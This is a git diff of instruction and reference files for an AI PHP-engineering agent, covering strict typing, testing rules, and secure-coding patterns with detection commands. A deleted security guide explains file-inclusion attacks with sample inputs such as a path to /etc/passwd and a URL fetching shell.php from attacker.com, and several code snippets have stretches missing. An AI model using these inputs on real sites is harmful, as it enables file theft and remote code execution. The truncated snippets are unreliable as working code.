`composer.json` for the package before adding a `use` statement. Do not assume a package is installed. -- **CLAUDE.md Compliance**: Read and follow repository CLAUDE.md files before any implementation. Project instructions override default agent behaviors. -- **Over-Engineering Prevention**: Only make changes directly requested or clearly necessary. Keep solutions simple and focused. Limit scope to requested features, existing code structure, and stated requirements. Reuse existing abstractions over creating new ones. -- **`declare(strict_types=1)` on new files**: Every new PHP application file must open with `make()`, `container->get()`) inside business services. -- **Version-Aware Code**: Check `composer.json` for PHP version target. Use only features available in the project's target PHP version. +- **STOP. Read the file before editing.** Editing requires a prior read this session; about to Edit/Write an unread file → STOP and read it first. +- **STOP. Run tests/analysis before reporting completion.** Execute `./vendor/bin/phpunit` (or `./vendor/bin/pest`) and `./vendor/bin/phpstan analyse` and show their actual output rather than a "tests pass" summary. +- **Create a feature branch for all code changes.** On main → branch first, then commit. +- **Verify dependencies exist before importing them.** Check `composer.json` for the package before adding a `use` statement. +- **CLAUDE.md compliance.** Read and follow repository CLAUDE.md files before any implementation; project instructions override default agent behaviors. +- **Over-engineering prevention.** Only changes directly requested or clearly necessary; reuse existing abstractions over creating new ones. +- **`declare(strict_types=1)` on new files.** Every new PHP application file opens with `make()`, `container->get()`) stay out of business services. ## Default Behaviors (ON unless disabled) -- **Communication Style**: - - Fact-based progress: Report what was done without self-congratulation ("Fixed 3 issues" not "Successfully resolved the complex task of fixing 3 issues") - - Concise summaries: Skip verbose explanations unless complexity warrants detail - - Show work: Display commands and outputs rather than describing them - - Direct and grounded: Provide fact-based reports rather than self-celebratory updates -- **Temporary File Cleanup**: Clean up temporary files and test scaffolds created during iteration at task completion. -- **Run tests before completion**: Execute `./vendor/bin/phpunit --colors=always` or `./vendor/bin/pest` after code changes, show full output. -- **Run static analysis**: Execute `./vendor/bin/phpstan analyse` after edits, show any issues. -- **Add docblocks**: Include PHPDoc on all public methods — `@param`, `@return`, `@throws` where applicable. -- **Check for N+1 queries**: Review eager loading (`with()`, `load()`) when implementing Eloquent relationships. +- **Communication style**: fact-based progress ("Fixed 3 issues", zero self-congratulation); concise summaries; show commands and outputs rather than describing them. +- **Temporary file cleanup** at task completion. +- **Run tests before completion**: `./vendor/bin/phpunit --colors=always` or `./vendor/bin/pest`, full output. +- **Run static analysis** after edits, show any issues. +- **Add docblocks** on all public methods — `@param`, `@return`, `@throws` where applicable. +- **Check for N+1 queries**: review eager loading (`with()`, `load()`) when implementing Eloquent relationships. + +## Optional Behaviors (OFF unless enabled) + +Aggressive refactoring; adding Composer dependencies; performance optimization before profiling confirms the bottleneck; async/fiber patterns (explicit request only). ## Companion Skills (invoke via Skill tool when applicable) | Skill | When to Invoke | |-------|---------------| -| `systematic-debugging` | Systematic multi-hypothesis debugging when root cause is unknown | -| `verification-before-completion` | Final verification gate before marking any implementation complete | +| `systematic-debugging` | Multi-hypothesis debugging when root cause is unknown | +| `verification-before-completion` | Final verification gate before marking implementation complete | | `systematic-code-review` | Structured multi-pass code review for PRs | > **Roadmap**: Planned companion skills `php-testing` (force-routed on PHPUnit/Pest) and `php-error-handling` (exception hierarchy patterns) will mirror the Go `go-patterns`/`go-testing` pair. These will be force-routed once created. **Rule**: If a companion skill exists for what you're about to do manually, use the skill instead. -## Optional Behaviors (OFF unless enabled) - -- **Aggressive refactoring**: Major structural changes beyond the immediate task. -- **Add Composer dependencies**: Introducing new packages without explicit request. -- **Performance optimization**: Query tuning, caching layers, or micro-optimizations before profiling confirms the bottleneck. -- **Async/fiber patterns**: Fibers and async libraries only when explicitly requested. - ---- - -## Core Expertise - -| Domain | Key Capabilities | -|--------|----------------| -| PHP 8.2+ | Readonly classes, enums, fibers, first-class callables, constructor promotion, match, named arguments | -| PSR Standards | PSR-12 style, PSR-4 autoloading, PSR-7 HTTP, PSR-11 container, PSR-15 middleware, PSR-3 logging | -| Laravel | Eloquent, form requests, policies, queues, events, Artisan, Blade, Laravel Pint | -| Symfony | DI container, Security, Messenger, Console, EventDispatcher, Twig | -| Doctrine | ORM entities, repositories, QueryBuilder, migrations, embeddables | -| Static Analysis | PHPStan level 8+, Psalm strict, Larastan, PHP-CS-Fixer | -| Testing | PHPUnit 10+, Pest 2, Mockery, factories, database transactions | -| Security | Prepared statements, CSRF, session management, `password_hash`, `composer audit` | -| SAP Commerce Cloud | Hybris service layer, impex, backoffice extension, Spring-like DI in PHP layer | - ---- - -## Capabilities & Limitations - -### What This Agent CAN Do - -- Design type-safe PHP applications with PHP 8.2+ features and PSR-12 style -- Implement thin controller / application service architecture -- Configure static analysis (PHPStan/Psalm) and formatters (Pint/PHP-CS-Fixer) -- Write PHPUnit and Pest test suites with factories, mocks, and integration tests -- Audit codebases for SQL injection, mass-assignment, CSRF, and session vulnerabilities -- Review Laravel/Symfony/Doctrine code for idiomatic patterns and failure modes -- Implement DTOs, value objects, and immutable data structures -- Debug PHP applications with systematic error analysis - -### What This Agent CANNOT Do - -- **Cannot execute PHP code**: Provides patterns and commands; you must run them. -- **Cannot access external APIs or databases**: No live connectivity. -- **Cannot manage infrastructure**: Focus is PHP code, not Docker, web servers, or cloud resources. -- **Cannot guarantee PHP 7.x compatibility**: Focus is modern PHP 8.2+. -- **Cannot profile your specific code**: Provides profiling patterns, not actual profiling results. - ---- +## Scope and Output Format -## Output Format (Implementation Schema) +This agent provides patterns, commands, and code; running them, live connectivity, infrastructure, and profiling results sit outside its scope. Focus is modern PHP 8.2+. ```markdown ## Summary diff --git a/agents/php-general-engineer/references/php-conventions.md b/agents/php-general-engineer/references/php-conventions.md new file mode 100644 index 00000000..d4c3283a --- /dev/null +++ b/agents/php-general-engineer/references/php-conventions.md @@ -0,0 +1,99 @@ +# PHP Conventions, Gates, and Testing + +Repo conventions with detection commands and fixes. Generic PHP security tutorials stay out; the base model covers them. + +## Hard Gates + +Blocked unconditionally; replace with the fix in any code you edit. + +| Pattern | Reason | Fix | +|---------|--------|-----| +| `$$variable` (variable variables) in business logic | Arbitrary indirection; unanalyzable by static analysis; unauditable attack surface | Explicit variables or a typed map | +| Dynamic code execution via string-eval functions | Executes arbitrary strings as PHP code, in all contexts | Match expressions, callables, allowlisted dispatch | +| `mysql_*` functions | Removed in PHP 7; occurrence signals legacy migration debt needing immediate remediation | PDO prepared statements | +| `preg_replace` with `/e` modifier | Executes replacement string as PHP code; removed in PHP 7 | `preg_replace_callback` | +| Disabling CSRF protection without documented reason | State-changing endpoints become forgeable cross-site | Keep tokens; any `VerifyCsrfToken` exclusion carries a documented, reviewed reason | +| `md5()` / `sha1()` for passwords | Cryptographically broken for password storage | `password_hash()` / `password_verify()` | +| `$guarded = []` (Eloquent) | Mass-assignment: attacker POSTs `{"is_admin": true}` | `$fillable` allowlist; `->update($request->validate([...]))` | +| Secrets hardcoded in config/code | Committed secrets are an immediate incident | `env('PAYMENT_API_KEY')` or a secrets manager | + +## Pattern Detection Commands + +| Pattern to Replace | Risk | Detection | Fix | +|-------------|------|-----------|-----| +| Fat controller (Eloquent/DB in controllers) | Couples transport to domain, kills testability | `grep -rn --include="*.php" -E 'Eloquent\\Model\|DB::' app/Http/Controllers/` | Thin controller: validate (form request) → delegate to service → return response; business logic, queries, and API calls live in services | +| Associative arrays where DTOs fit | Untyped arrays skip static analysis, risky refactors | `grep -rn --include="*.php" -E '\$data\s*=\s*\[' app/Services/` | `final readonly` DTO classes for commands/payloads; value objects validate in the constructor | +| Raw SQL string interpolation | SQL injection | `grep -rn --include="*.php" -E '(query\|exec)\s*\(\s*["\x27].*\$' src/` | Prepared statements (below) | +| `extract()` on user input | User-controlled variable names injected into scope | `grep -rn --include="*.php" 'extract(\$_' src/` | Explicit assignment from validated input | +| Debug output left in code | `var_dump`/`dd`/`dump`/`die` leak state, break responses | `grep -rn --include="*.php" -E 'var_dump\s*\(\|dd\s*\(\|dump\s*\(\|die\s*\(' src/` | Remove before commit (PostToolUse hook also flags) | +| Service-locator in business services | Hidden dependencies, untestable | `grep -rn --include="*.php" -E 'app\(\)->make\(\|Container::getInstance' app/Services/` | Constructor injection | +| Missing `declare(strict_types=1)` | Implicit coercion hides type bugs | `grep -rLz 'declare(strict_types=1)' $(find src/ app/ -name "*.php" -not -path "*/vendor/*")` | Add to every application file | +| `$guarded = []` | Mass assignment | `grep -rn --include="*.php" 'guarded\s*=\s*\[\s*\]' app/` | `$fillable` allowlist | +| CSRF exclusions | Forgeable endpoints | `grep -rn --include="*.php" -E 'VerifyCsrfToken\|withoutMiddleware.*csrf\|except.*csrf' app/Http/` | Documented reason or removal | + +## SQL: Prepared Statements + +```php +// PDO +$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email'); +$stmt->execute(['email' => $email]); + +// Eloquent query builder +$user = User::where('email', $email)->first(); + +// Doctrine QueryBuilder +$user = $em->createQueryBuilder() + ->select('u')->from(User::class, 'u') + ->where('u.email = :email')->setParameter('email', $email) + ->getQuery()->getOneOrNullResult(); +``` + +Prepared statements separate SQL structure from data at the driver level. `DB::raw(...$var...)` and `unserialize()` on external input get the same scrutiny as string-built SQL; use `json_decode(..., flags: JSON_THROW_ON_ERROR)` for untrusted payloads, and `unserialize($v, ['allowed_classes' => [...]])` for internal cache/session data only. + +## Sessions and Dependency Hygiene + +- Regenerate the session ID after authentication and after any privilege change: `$request->session()->regenerate();` (Laravel) or `session_regenerate_id(true);`. +- Run `composer audit` after every `composer update` and before deploying. + +## Testing Conventions + +### PHPUnit vs. Pest Decision Rule + +| Condition | Choice | +|-----------|--------| +| New project, greenfield | PHPUnit (default) | +| Existing project already uses Pest | Pest (stay consistent) | +| Laravel project with team preference for expressive syntax | Pest acceptable | +| CI pipeline expects PHPUnit XML output | PHPUnit | + +One test framework per test class — PHPUnit or Pest, exclusively. + +### Factory Fixtures (Mandatory) + +Generate fixture data through Laravel factories or custom builders; hand-written large arrays are brittle. + +```php +$user = User::factory()->verified()->withSubscription('pro')->create(); + +$order = OrderBuilder::new() + ->withItems([ProductBuilder::create()->atPrice(1000)]) + ->forCustomer($user) + ->build(); +``` + +### Unit vs. Integration Separation + +| Test Type | What It Tests | Speed | Database | +|-----------|-------------|-------|---------| +| Unit | Single class, dependencies mocked | Fast (<1ms) | No | +| Integration | Service + real DB, or controller + real HTTP stack | Slower (>10ms) | Yes | +| Feature/E2E | Full request lifecycle | Slowest | Yes | + +Run unit tests in tight loops; run integration tests in CI. Database usage stays in integration test classes. + +### Coverage Commands + +```bash +./vendor/bin/phpunit --coverage-text --coverage-html=coverage/ +./vendor/bin/pest --coverage --coverage-html=coverage/ +``` diff --git a/agents/php-general-engineer/references/php-patterns.md b/agents/php-general-engineer/references/php-patterns.md deleted file mode 100644 index 73f8710f..00000000 --- a/agents/php-general-engineer/references/php-patterns.md +++ /dev/null @@ -1,167 +0,0 @@ -# PHP Patterns Reference - -Deep-dive patterns for thin controllers, DTOs, value objects, and preferred coding conventions. - ---- - -## Thin Controller Pattern - -Controllers are **transport layer only**. They authenticate, validate input, delegate to a service, and return a response. Business logic never lives in a controller. - -### What Belongs in a Controller - -```php -user()->id, - items: $request->validated('items'), - shippingAddress: $request->validated('shipping_address'), - ); - - // 2. Delegate to service — no business logic here - $order = $this->orderService->place($command); - - // 3. Return HTTP response - return (new OrderResource($order)) - ->response() - ->setStatusCode(201); - } -} -``` - -### What Belongs in a Service - -```php -inventory->reserve($command->items); - $order = $this->orders->create($command); - $this->events->dispatch(new OrderPlaced($order)); - - return $order; - } -} -``` - -### Controller Checklist - -| Concern | Controller | Service | -|---------|-----------|---------| -| HTTP method routing | Yes | No | -| Input validation | Yes (Form Request) | No | -| Authentication/authorization | Yes (middleware/policy) | No | -| Business logic | **Service only** | Yes | -| Database queries | **Service only** | Yes (via repository) | -| External API calls | **Service only** | Yes (via interface) | -| HTTP response construction | Yes | No | - ---- - -## DTOs and Value Objects - -Use DTOs (Data Transfer Objects) for commands, queries, and external API payloads. Use value objects for domain concepts with rules. - -### DTO Pattern (readonly class, PHP 8.2+) - -```php - */ - public array $items, - public string $shippingAddress, - ) {} -} -``` - -### Value Object Pattern - -```php -currency !== $other->currency) { - throw new InvalidArgumentException('Cannot add different currencies.'); - } - return new self($this->amountInCents + $other->amountInCents, $this->currency); - } -} -``` - ---- - -## Preferred Patterns - -| Pattern to Replace | Why It Is Wrong | Detection Command | -|-------------|----------------|------------------| -| Fat controller | Business logic in controllers couples transport to domain, kills testability, and prevents service reuse | `grep -rn --include="*.php" -E 'Eloquent\\Model\|DB::' app/Http/Controllers/` | -| Associative arrays where DTOs fit | Untyped arrays lose IDE support, skip static analysis, and make refactoring risky | `grep -rn --include="*.php" -E '\$data\s*=\s*\[' app/Services/` | -| Raw SQL string interpolation | SQL injection vector; no parameterization | `grep -rn --include="*.php" -E '(query\|exec)\s*\(\s*["\x27].*\$' src/` | -| `extract()` on user input | Pollutes local scope with user-controlled variable names; arbitrary variable injection | `grep -rn --include="*.php" 'extract(\$_' src/` | -| Debug output left in code | `var_dump`, `dd`, `dump`, `die` leak internal state and break HTTP/JSON responses | `grep -rn --include="*.php" -E 'var_dump\s*\(\|dd\s*\(\|dump\s*\(\|die\s*\(' src/` | -| Service-locator in business services | Hides dependencies, prevents constructor-injection testing, couples services to container | `grep -rn --include="*.php" -E 'app\(\)->make\(\|Container::getInstance' app/Services/` | -| Hardcoded secrets in config | Secrets committed to version control create immediate security incident risk | `grep -rn --include="*.php" -E '"(sk_live_\|password\s*=\s*)[^"]{8,}"' config/` | -| Missing `declare(strict_types=1)` | Allows implicit type coercion; hides type bugs that strict mode would catch | `grep -rLz 'declare(strict_types=1)' $(find src/ app/ -name "*.php" -not -path "*/vendor/*")` | diff --git a/agents/php-general-engineer/references/php-security-testing.md b/agents/php-general-engineer/references/php-security-testing.md deleted file mode 100644 index 87150ef2..00000000 --- a/agents/php-general-engineer/references/php-security-testing.md +++ /dev/null @@ -1,201 +0,0 @@ -# PHP Security & Testing Reference - -Deep-dive patterns for security posture, hard gate violations, and testing methodology. - ---- - -## Security - -### Prepared Statements (Mandatory) - -Build SQL exclusively with prepared statements or query builders. - -```php -// BLOCKED — SQL injection risk -$result = $pdo->query("SELECT * FROM users WHERE email = '$email'"); - -// CORRECT — PDO prepared statement -$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email'); -$stmt->execute(['email' => $email]); - -// CORRECT — Eloquent query builder -$user = User::where('email', $email)->first(); - -// CORRECT — Doctrine QueryBuilder -$user = $em->createQueryBuilder() - ->select('u') - ->from(User::class, 'u') - ->where('u.email = :email') - ->setParameter('email', $email) - ->getQuery() - ->getOneOrNullResult(); -``` - -**Detection command**: -```bash -grep -rn --include="*.php" -E '(query|exec)\s*\(\s*["\x27].*\$' src/ -``` - -### Mass-Assignment (Eloquent) - -Always declare `$fillable` (whitelist) — never use `$guarded = []`. - -```php -// BLOCKED — mass-assignment vulnerability -protected $guarded = []; - -// CORRECT -protected $fillable = ['name', 'email', 'role']; -``` - -**Detection command**: -```bash -grep -rn --include="*.php" 'guarded\s*=\s*\[\s*\]' app/ -``` - -### Session Management - -Regenerate session ID after authentication and after any privilege change. - -```php -// After login -$request->session()->regenerate(); - -// After privilege escalation (sudo-style) -session_regenerate_id(true); -``` - -### CSRF Protection - -State-changing requests (POST/PUT/PATCH/DELETE) must have CSRF tokens. Any exclusion from Laravel's `VerifyCsrfToken` middleware must have a documented, reviewed reason. - -**Detection command**: -```bash -grep -rn --include="*.php" -E 'VerifyCsrfToken|withoutMiddleware.*csrf|except.*csrf' app/Http/ -``` - -### Passwords - -Use `password_hash()` / `password_verify()` — never `md5()` or `sha1()` for passwords. - -```php -// CORRECT -$hash = password_hash($plaintext, PASSWORD_BCRYPT); -$valid = password_verify($plaintext, $hash); - -// BLOCKED — cryptographically broken for passwords -$hash = md5($plaintext); -$hash = sha1($plaintext); -``` - -### Secrets Management - -Secrets (API keys, DB passwords, tokens) must come from environment variables or a secrets manager, never from committed config files. - -```php -// CORRECT -$apiKey = env('PAYMENT_API_KEY'); - -// BLOCKED — secrets stay in environment variables, not in code -$apiKey = 'sk_live_abc123...'; -``` - -### Dependency Audit - -Run after every `composer update` or before deploying: -```bash -composer audit -``` - ---- - -## Hard Gate Patterns - -These patterns are blocked unconditionally. Replace them with the correct alternative in any code you edit. - -| Pattern | Reason | -|---------|--------| -| `$$variable` (variable variables) in business logic | Arbitrary indirection; unanalyzable by static analysis tools; creates impossible-to-audit attack surface | -| Dynamic code execution via string-eval functions | Executes arbitrary strings as PHP code; blocked in all contexts without exception | -| `mysql_*` functions | Removed in PHP 7; any occurrence indicates legacy migration debt requiring immediate remediation | -| `preg_replace` with `/e` modifier | Executes replacement string as PHP code; security vulnerability removed in PHP 7 | -| Disabling CSRF protection without documented reason | State-changing endpoints without CSRF tokens are vulnerable to cross-site request forgery | -| `md5()` / `sha1()` for passwords | Cryptographically broken for password storage; use `password_hash()` | - ---- - -## Testing - -### PHPUnit vs. Pest Decision Rule - -| Condition | Choice | -|-----------|--------| -| New project, greenfield | PHPUnit (default) | -| Existing project already uses Pest | Pest (stay consistent) | -| Laravel project with team preference for expressive syntax | Pest acceptable | -| CI pipeline expects PHPUnit XML output | PHPUnit | - -Use one test framework per test class — PHPUnit or Pest, not both. - -### Factory Fixtures (Mandatory) - -Use Laravel factories or custom builders for test data. Generate fixture data through factories instead of hand-writing large arrays. - -```php -// CORRECT — factory with state -$user = User::factory() - ->verified() - ->withSubscription('pro') - ->create(); - -// CORRECT — custom builder -$order = OrderBuilder::new() - ->withItems([ProductBuilder::create()->atPrice(1000)]) - ->forCustomer($user) - ->build(); - -// BLOCKED — hand-written array fixture -$orderData = [ - 'customer_id' => 1, - 'items' => [['product_id' => 5, 'quantity' => 2, 'price' => 1000]], - // ... 30 more lines of brittle fixture data -]; -``` - -### Unit vs. Integration Separation - -| Test Type | What It Tests | Speed | Database | -|-----------|-------------|-------|---------| -| Unit | Single class/method in isolation, all dependencies mocked | Fast (<1ms) | No | -| Integration | Service + real database, or controller + real HTTP stack | Slower (>10ms) | Yes | -| Feature/E2E | Full request lifecycle | Slowest | Yes | - -Run unit tests in tight loops; run integration tests in CI. Keep database usage in integration test classes only. - -```php -// Unit test — mocked dependencies -final class OrderServiceTest extends TestCase -{ - public function test_place_order_dispatches_event(): void - { - $orders = $this->createMock(OrderRepositoryInterface::class); - $inventory = $this->createMock(InventoryServiceInterface::class); - $events = $this->createMock(EventDispatcherInterface::class); - - $events->expects($this->once())->method('dispatch'); - - $service = new OrderService($orders, $inventory, $events); - $service->place(PlaceOrderCommandBuilder::default()); - } -} -``` - -### Coverage Commands - -```bash -# PHPUnit with coverage -./vendor/bin/phpunit --coverage-text --coverage-html=coverage/ - -# Pest with coverage -./vendor/bin/pest --coverage --coverage-html=coverage/ -``` diff --git a/agents/php-general-engineer/references/php-security.md b/agents/php-general-engineer/references/php-security.md deleted file mode 100644 index 3e2eb11b..00000000 --- a/agents/php-general-engineer/references/php-security.md +++ /dev/null @@ -1,453 +0,0 @@ -# PHP Secure Implementation Patterns - -Secure-by-default patterns for PHP 8.2+ applications. Each section shows what correct code looks like and why it matters. Load this reference when the task involves security, auth, injection, XSS, CSRF, deserialization, session management, or any vulnerability-related code. - ---- - -## Use Strict Comparisons and strict_types - -Declare `strict_types=1` in every PHP file and use `===` for all comparisons, especially security-critical ones. - -```php - [DateTime::class, Money::class]]); -``` - -**Why this matters**: `unserialize($user_data)` executes PHP magic methods (`__wakeup`, `__destruct`, `__toString`) on deserialized objects. Combined with available classes in the autoloader, this produces RCE through well-catalogued gadget chains (Laravel, Symfony, WordPress). `json_decode` cannot instantiate objects or execute code. - -**Detection**: -```bash -rg -n 'unserialize\(' . --type php | rg -v 'allowed_classes' -rg -n 'json_decode\(' . --type php -``` - ---- - -## Use PDO Prepared Statements for All Database Access - -Use PDO with prepared statements and bound parameters. Never concatenate user input into SQL strings. - -```php -prepare('SELECT * FROM users WHERE email = :email AND org_id = :org_id'); -$stmt->execute(['email' => $email, 'org_id' => $orgId]); -$user = $stmt->fetch(PDO::FETCH_ASSOC); - -// Correct: PDO prepared statement with positional parameters -$stmt = $pdo->prepare('INSERT INTO invoices (customer_id, amount) VALUES (?, ?)'); -$stmt->execute([$customerId, $amount]); - -// Correct: Laravel Eloquent (parameterized by default) -$invoices = Invoice::where('customer_id', $customerId) - ->where('org_id', $orgId) - ->get(); - -// Correct: Laravel query builder with bindings -$results = DB::select('SELECT * FROM users WHERE name = ?', [$name]); - -// Correct: Doctrine QueryBuilder -$qb = $entityManager->createQueryBuilder(); -$qb->select('u') - ->from(User::class, 'u') - ->where('u.email = :email') - ->setParameter('email', $email); -``` - -**Why this matters**: `$pdo->query("SELECT * FROM users WHERE name = '$name'")` allows SQL injection through string interpolation. Prepared statements separate SQL structure from data at the database driver level, preventing injection regardless of input content. Sequelize CVE-2023-25813 demonstrated that even ORM escape hatches can be vulnerable when used incorrectly. - -**Detection**: -```bash -rg -n 'query\(.*\$|exec\(.*\$' . --type php | rg -i 'select\|insert\|update\|delete' -rg -n '->prepare\(' . --type php -rg -n 'DB::raw\(.*\$' . --type php -``` - ---- - -## Prevent File Inclusion With User Input - -Never pass user input to `include`, `require`, `include_once`, or `require_once`. Use allowlists for dynamic page loading. - -```php - require __DIR__ . '/templates/home.php', - 'about' => require __DIR__ . '/templates/about.php', - 'contact' => require __DIR__ . '/templates/contact.php', - default => require __DIR__ . '/templates/404.php', -}; -``` - -**Why this matters**: `include($_GET['page'])` allows Local File Inclusion (LFI) where `?page=../../etc/passwd` reads arbitrary files. With `allow_url_include=On`, it becomes Remote File Inclusion (RFI) where `?page=http://attacker.com/shell.php` executes remote code. The `match` expression or allowlist eliminates this entirely. - -**Detection**: -```bash -rg -n 'include.*\$_|require.*\$_|include_once.*\$_|require_once.*\$_' . --type php -rg -n 'include\s*\(\s*\$|require\s*\(\s*\$' . --type php -``` - ---- - -## Use password_hash With Strong Algorithms - -Hash passwords with `password_hash` using `PASSWORD_BCRYPT` or `PASSWORD_ARGON2ID`. Verify with `password_verify`. Never use MD5, SHA1, or SHA256 for password storage. - -```php - 65536, // 64MB - 'time_cost' => 4, - 'threads' => 3, - ]); -} - -// Correct: verify on login -function verifyPassword(string $password, string $hash): bool { - return password_verify($password, $hash); -} - -// Correct: rehash when algorithm or cost changes -function rehashIfNeeded(string $password, string $hash): ?string { - if (password_needs_rehash($hash, PASSWORD_ARGON2ID)) { - return hashPassword($password); - } - return null; -} -``` - -**Why this matters**: `md5($password)` and `sha256($password)` are fast hashes designed for integrity checking, not password storage. A GPU can compute billions of SHA256 hashes per second. `PASSWORD_ARGON2ID` is memory-hard and time-hard, designed to resist GPU and ASIC attacks. `PASSWORD_BCRYPT` has a 72-byte input limit but is widely supported as a fallback. - -**Detection**: -```bash -rg -n 'md5\(.*password\|sha1\(.*password\|sha256\(.*password\|hash\(.*password' . --type php -rg -n 'password_hash\|password_verify\|PASSWORD_ARGON2ID\|PASSWORD_BCRYPT' . --type php -``` - ---- - -## Regenerate Session ID on Auth State Changes - -Regenerate the session ID on login, logout, and privilege elevation. Set secure session cookie attributes. - -```php -id; - $_SESSION['role'] = $user->role; - $_SESSION['ip'] = $_SERVER['REMOTE_ADDR']; - $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT']; -} - -// Correct: regenerate on privilege change -function elevateToAdmin(): void { - session_regenerate_id(true); - $_SESSION['role'] = 'admin'; -} - -// Correct: regenerate on logout -function logout(): void { - $_SESSION = []; - session_regenerate_id(true); - session_destroy(); -} - -// Correct: Laravel session regeneration -public function login(Request $request): RedirectResponse { - $request->session()->regenerate(); - // ... -} -``` - -**Why this matters**: Without session regeneration, an attacker who captures a pre-login session ID (via XSS, network sniffing, or session fixation) retains access after the victim authenticates. `session_regenerate_id(true)` creates a new ID and deletes the old session data, breaking the fixation chain. - -**Detection**: -```bash -rg -n 'session_regenerate_id' . --type php -rg -n 'session_start\(\)' . --type php -rg -n 'session\.cookie_httponly\|session\.cookie_secure' . --type php -``` - ---- - -## Escape Output With htmlspecialchars - -Escape all dynamic output in HTML context using `htmlspecialchars` with `ENT_QUOTES` and explicit encoding. Use framework template engines that auto-escape by default. - -```php -Hello,

- -Profile - -// Correct: Laravel Blade (auto-escapes {{ }}) -// {{ $username }} — escaped -// {!! $trustedHtml !!} — raw (only for trusted content) - -// Correct: Symfony Twig (auto-escapes {{ }}) -// {{ username }} — escaped -// {{ trusted_html|raw }} — raw (only for trusted content) -``` - -**Why this matters**: `echo $username` without escaping allows XSS when `$username` contains ``. `ENT_QUOTES` escapes both single and double quotes, preventing attribute-value breakout. The `ENT_SUBSTITUTE` flag replaces invalid encoding sequences instead of returning empty strings. - -**Detection**: -```bash -rg -n 'echo\s+\$|print\s+\$' . --type php | rg -v 'htmlspecialchars\|htmlentities\|e\(' -rg -n '<\?=\s*\$' . --type php | rg -v 'htmlspecialchars\|e\(' -``` - ---- - -## Implement CSRF Token Validation - -Include and verify CSRF tokens on all state-changing forms. Use framework-provided CSRF protection when available. - -```php -"> - -// In request handling: -if ($_SERVER['REQUEST_METHOD'] === 'POST') { - if (!verifyCsrfToken($_POST['_token'] ?? '')) { - http_response_code(403); - exit('CSRF validation failed'); - } - // ...process form -} - -// Correct: Laravel (automatic with @csrf) -//
-// @csrf -// ... -//
- -// Correct: Symfony (automatic with form component) -// {{ form_start(form) }} — includes _token automatically -``` - -**Why this matters**: Without CSRF tokens, any website can submit forms to your application using the visitor's authenticated session. The visitor's browser automatically includes session cookies with the cross-origin request. CSRF tokens prove the form submission originated from your application. Use `hash_equals` for timing-safe token comparison. - -**Detection**: -```bash -rg -n 'csrf_token\|_token\|@csrf' . --type php -rg -n 'validate([ - 'name' => 'required|string|max:100', - 'email' => 'required|email', - 'avatar_url' => 'nullable|url', -]); -$user->update($validated); - -// Correct: Symfony with explicit DTO -class UpdateProfileCommand { - public function __construct( - public readonly string $name, - public readonly string $email, - public readonly ?string $avatarUrl = null, - ) {} -} - -// Map request to DTO, then to entity -$command = new UpdateProfileCommand( - name: $request->get('name'), - email: $request->get('email'), - avatarUrl: $request->get('avatar_url'), -); -``` - -**Why this matters**: `User::create($request->all())` allows an attacker to POST `{"is_admin": true, "role": "superadmin"}` and set arbitrary model attributes. The `$fillable` allowlist restricts which attributes can be set via mass assignment. This is the PHP equivalent of DRF's `fields = '__all__'` problem. - -**Detection**: -```bash -rg -n '\$guarded\s*=\s*\[\s*\]' . --type php -rg -n '::create\(\$request->all\(\)\)|->update\(\$request->all\(\)\)' . --type php -rg -n '\$fillable' . --type php -``` - ---- - -## Validate Outbound URLs to Prevent SSRF - -Resolve hostnames to IPs and validate against private ranges before making outbound HTTP requests. - -```php -get($validatedUrl, [ - 'allow_redirects' => false, - 'timeout' => 10, -]); -``` - -**Why this matters**: User-controlled URLs reach internal services including cloud metadata endpoints (`169.254.169.254`). `FILTER_FLAG_NO_PRIV_RANGE` and `FILTER_FLAG_NO_RES_RANGE` reject RFC1918 and reserved addresses. Disable redirect following to prevent redirect-based bypasses. - -**Detection**: -```bash -rg -n 'file_get_contents\(.*\$|curl_exec\|Guzzle.*\$' . --type php -rg -n 'FILTER_FLAG_NO_PRIV_RANGE\|FILTER_FLAG_NO_RES_RANGE' . --type php -``` diff --git a/agents/python-general-engineer.md b/agents/python-general-engineer.md index 40d26b93..eb84a10f 100644 --- a/agents/python-general-engineer.md +++ b/agents/python-general-engineer.md @@ -131,45 +131,28 @@ These checkpoints are mandatory. Do not skip them even when confident. ## Capabilities & Output Format -See `agents/python-general-engineer/references/capabilities.md` for full CAN/CANNOT lists and the Implementation Schema output template. +Python development end to end: features, debugging, review, performance, tests. Route ORM-heavy SQLite work to `sqlite-peewee-engineer` and non-Python code to the matching language agent. Output uses the Implementation Schema — see `skills/shared-patterns/output-schemas.md`. ## Reference Loading Table | Signal | Load These Files | Why | |---|---|---| -| quick error lookup: async deadlock, mypy, mutable defaults, imports, mocks | [error-handling.md](python-general-engineer/references/error-handling.md) | Short error-to-fix list; points to the full catalog | -| debugging a specific error or exception in depth | [python-errors.md](python-general-engineer/references/python-errors.md) | Comprehensive error catalog with causes and fixes | -| quick pattern check before writing code | [preferred-patterns.md](python-general-engineer/references/preferred-patterns.md) | Short pattern list; points to the full catalog | -| auditing code against the full pattern catalog with detection commands | [python-preferred-patterns.md](python-general-engineer/references/python-preferred-patterns.md) | Action-first patterns plus grep detection per violation | -| choosing language constructs: type hints, dataclasses, protocols, context managers | [python-patterns.md](python-general-engineer/references/python-patterns.md) | Code examples for core Python idioms | -| Python 3.11+/3.12 features, TaskGroup, Pydantic v2, uv, FastAPI | [python-modern-features.md](python-general-engineer/references/python-modern-features.md) | Modern feature and tooling reference | -| security, auth, injection, XSS, CSRF, SSRF, or any vulnerability-related code | [python-security.md](python-general-engineer/references/python-security.md) | Secure implementation patterns for Python, Django, FastAPI, Flask. | -| flask, jinja, webapp, template rendering, Flask routes, Jinja2 filters | [flask-jinja-webapp.md](python-general-engineer/references/flask-jinja-webapp.md) | Flask + Jinja2 web application patterns and security. | -| before writing any Python code (forbidden-pattern gate) | [hard-gate-patterns.md](python-general-engineer/references/hard-gate-patterns.md) | STOP/REPORT/FIX pattern table with detection commands | -| fundamental design choices, retry limits, recovery | [blocker-criteria.md](python-general-engineer/references/blocker-criteria.md) | Blocker table, retry limits, recovery protocol | -| before claiming Python work complete | [anti-rationalization.md](python-general-engineer/references/anti-rationalization.md) | Python-specific rationalization table | -| scoping what this agent can do; output format | [capabilities.md](python-general-engineer/references/capabilities.md) | CAN/CANNOT lists and Implementation Schema template | +| flask, jinja, gunicorn, blueprint, CSRF exempt, static 403, SESSION_COOKIE_SECURE, StrictUndefined, systemctl restart | [flask-jinja-webapp.md](python-general-engineer/references/flask-jinja-webapp.md) | mmr-ratings production incidents: worker template cache, 